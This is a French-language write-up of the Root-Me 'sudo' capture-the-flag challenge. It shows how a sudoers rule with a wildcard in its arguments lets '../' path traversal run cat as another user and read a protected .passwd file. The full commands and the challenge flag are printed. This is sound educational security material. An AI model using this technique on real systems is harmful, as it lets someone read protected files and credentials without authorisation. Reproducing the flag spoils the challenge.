Root-Me : exploiter une wildcard sudoers avec un path traversal
Write-up du challenge Root-Me sudo : une règle sudoers trop permissive permet de sortir du chemin autorisé avec ../ et de lire un fichier protégé.
Le challenge sudo : faiblesse de configuration de Root-Me repose sur une règle sudoers qui semble limiter l'utilisation de cat à un dossier précis.
Le problème vient du wildcard * utilisé dans les arguments de la commande. Il permet de faire passer un chemin contenant ../, puis de sortir du dossier prévu par la règle.
Vérifier les droits sudo#
Comme le challenge concerne sudo, je commence par regarder ce que mon utilisateur peut exécuter :
sudo -lLa ligne importante est la suivante :
User app-script-ch1 may run the following commands on challenge02:
(app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*Cette règle autorise app-script-ch1 à lancer :
/bin/catavec les droits de :
app-script-ch1-crackedà condition que l'argument corresponde à :
/challenge/app-script/ch1/notes/*Le détail intéressant est le *.
Dans les arguments d'une règle sudoers, ce wildcard peut matcher une chaîne contenant des /.
Ça ouvre donc la possibilité de faire passer quelque chose comme :
../et de sortir du dossier notes/.
Autrement dit, la règle semble exploitable avec un path traversal.
Reconnaissance#
Je regarde le contenu du challenge et du dossier notes :
ls -la /challenge/app-script/ch1 /challenge/app-script/ch1/notesLa sortie contient notamment :
/challenge/app-script/ch1:
dr-xr-x--x 2 app-script-ch1-cracked app-script-ch1-cracked ... ch1cracked
dr-xr-x--x 2 app-script-ch1-cracked app-script-ch1 ... notes
-rw-r----- 1 app-script-ch1 app-script-ch1 ... readme.md
/challenge/app-script/ch1/notes:
-rw-r----- 1 app-script-ch1-cracked app-script-ch1-cracked ... shared_notesLe dossier ch1cracked attire rapidement l'attention, notamment parce qu'il appartient à :
app-script-ch1-crackedJe lis ensuite le fichier readme.md, accessible avec mon utilisateur actuel :
cat /challenge/app-script/ch1/readme.mdIl donne directement la cible du challenge :
Vous devez réussir à lire le fichier .passwd situé dans le chemin suivant :
/challenge/app-script/ch1/ch1cracked/
You have to read the .passwd located in the following PATH :
/challenge/app-script/ch1/ch1cracked/Le fichier à récupérer est donc :
/challenge/app-script/ch1/ch1cracked/.passwdMon utilisateur actuel ne peut pas simplement faire :
cat /challenge/app-script/ch1/ch1cracked/.passwdEn revanche, la règle sudoers me permet d'exécuter cat avec les droits de app-script-ch1-cracked.
Il reste à vérifier si ../ passe réellement dans la règle.
Tester le path traversal#
Je commence par essayer de sortir de notes/ pour viser readme.md :
sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/../readme.mdRésultat :
/bin/cat: /challenge/app-script/ch1/notes/../readme.md: Permission deniedCette erreur est justement intéressante.
Ce n'est pas sudo qui refuse la commande. Elle a bien été autorisée et /bin/cat a été lancé en tant que :
app-script-ch1-crackedC'est ensuite cat qui reçoit un Permission denied en essayant de lire readme.md, car ce fichier n'est pas lisible par app-script-ch1-cracked.
Le ../ est donc bien accepté par la règle sudoers.
À partir de là, il suffit de remplacer readme.md par la vraie cible.
Exploitation de la règle sudoers#
Au lieu de viser :
../readme.mdje vise :
../ch1cracked/.passwdLa commande finale est :
sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/../ch1cracked/.passwdCette fois, le fichier est lu :
b3_c4r3ful_w1th_sud0Le flag du challenge est donc :
b3_c4r3ful_w1th_sud0Je le soumets ensuite sur Root-Me et il est bien validé.
Pourquoi la règle est exploitable#
La règle concernée est :
(app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*L'intention semble être d'autoriser app-script-ch1 à lire les fichiers de notes/ avec les droits de app-script-ch1-cracked.
Mais le wildcard est trop permissif.
L'argument suivant passe toujours dans le pattern attendu par sudoers :
/challenge/app-script/ch1/notes/../ch1cracked/.passwdUne fois transmis au système de fichiers, cette partie :
notes/..revient simplement au dossier parent.
Le chemin est donc résolu comme :
/challenge/app-script/ch1/ch1cracked/.passwdEt puisque /bin/cat est exécuté avec les droits de :
app-script-ch1-crackedil possède les permissions nécessaires pour lire .passwd.
Le solve tient donc en trois éléments :
wildcard sudoers trop large
+
path traversal avec ../
+
commande exécutée avec les permissions du target user
=
lecture de .passwdUne règle sudoers peut paraître très limitée parce qu'elle impose une commande et un chemin précis. Ici, le wildcard placé dans les arguments suffit pourtant à contourner cette restriction et à sortir du répertoire prévu.